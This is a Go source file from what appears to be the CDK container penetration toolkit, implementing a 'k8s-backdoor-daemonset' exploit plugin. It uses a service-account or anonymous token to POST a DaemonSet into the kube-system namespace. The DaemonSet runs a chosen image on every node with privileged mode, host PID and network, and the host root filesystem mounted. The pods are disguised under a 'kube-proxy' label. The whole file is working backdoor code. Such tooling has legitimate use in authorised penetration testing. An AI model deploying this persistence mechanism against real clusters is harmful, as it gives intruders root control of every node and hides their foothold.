package exploit

import (
	"fmt"
	"github.com/cdk-team/CDK/conf"
	"github.com/cdk-team/CDK/pkg/cli"
	"github.com/cdk-team/CDK/pkg/plugin"
	"github.com/cdk-team/CDK/pkg/tool/kubectl"
	"log"
	"strings"
)

var k8sDaemonsetApi = "/apis/extensions/v1beta1/namespaces/kube-system/daemonsets"
var k8sBackdoorDaemonsetJson = `
{
	"apiVersion": "extensions/v1beta1",
	"kind": "DaemonSet",
	"metadata": {
		"annotations": {},
		"labels": {
			"k8s-app": "${K8S_APP}"
		},
		"name": "cdk-backdoor-daemonset"
	},
	"spec": {
		"selector": {
			"matchLabels": {
				"k8s-app": "${K8S_APP}"
			}
		},
		"template": {
			"metadata": {
				"labels": {
					"k8s-app": "${K8S_APP}"
				}
			},
			"spec": {
				"containers": [{
					"command": ["sleep", "infinity"],
					"image": "${IMAGE}",
					"imagePullPolicy": "IfNotPresent",
					"name": "cdk-backdoor-pod",
					"securityContext": {
						"capabilities": {
							"add": ["NET_ADMIN", "SYS_ADMIN", "SYS_PTRACE", "AUDIT_CONTROL", "MKNOD", "SETFCAP"]
						},
						"privileged": true
					},
					"volumeMounts": [{
						"mountPath": "/host-root",
						"name": "host-volume"
					}]
				}],
				"hostNetwork": true,
				"hostPID": true,
				"restartPolicy": "Always",
				"volumes": [{
					"hostPath": {
						"path": "/"
					},
					"name": "host-volume"
				}]
			}
		}
	}
}
`

func getBackDoorKaemonsetJson(k8sApp string, image string) string {
	k8sBackdoorDaemonsetJson = strings.Replace(k8sBackdoorDaemonsetJson, "${K8S_APP}", k8sApp, -1)
	k8sBackdoorDaemonsetJson = strings.Replace(k8sBackdoorDaemonsetJson, "${IMAGE}", image, -1)
	return k8sBackdoorDaemonsetJson
}

// plugin interface
type K8sBackDoorDaemonsetS struct{}

func (p K8sBackDoorDaemonsetS) Desc() string {
	return "deploy image to every node using daemonset, usage: cdk run k8s-backdoor-daemonset (default|anonymous|<service-account-token-path>) <image>"
}
func (p K8sBackDoorDaemonsetS) Run() bool {
	args := cli.Args["<args>"].([]string)
	if len(args) != 2 {
		log.Println("invalid input args.")
		log.Fatal(p.Desc())
	}

	// get api-server connection conf in ENV
	log.Println("getting K8s api-server API addr.")
	addr, err := kubectl.ApiServerAddr()
	if err != nil {
		fmt.Println(err)
		return false
	}
	fmt.Println("\tFind K8s api-server in ENV:", addr)

	opts := kubectl.K8sRequestOption{
		TokenPath: "",
		Server:    addr, // default
		Api:       k8sDaemonsetApi,
		Method:    "POST",
		PostData:  "",
		Anonymous: false,
	}

	token := args[0]
	image := args[1]

	switch token {
	case "default":
		opts.TokenPath = conf.K8sSATokenDefaultPath
	case "anonymous":
		opts.TokenPath = ""
		opts.Anonymous = true
	default:
		opts.TokenPath = args[0]
	}

	log.Printf("trying to deploy daemonset with image:%s to k8s-app:%s", "kube-proxy",image)
	opts.PostData = getBackDoorKaemonsetJson("kube-proxy",image) // use kube-proxy-worker in alibaba cloud
	resp, err := kubectl.ServerAccountRequest(opts)
	if err != nil {
		fmt.Println(err)
	}
	log.Println("api-server response:")
	fmt.Println(resp)

	return true
}

func init() {
	exploit := K8sBackDoorDaemonsetS{}
	plugin.RegisterExploit("k8s-backdoor-daemonset", exploit)
}
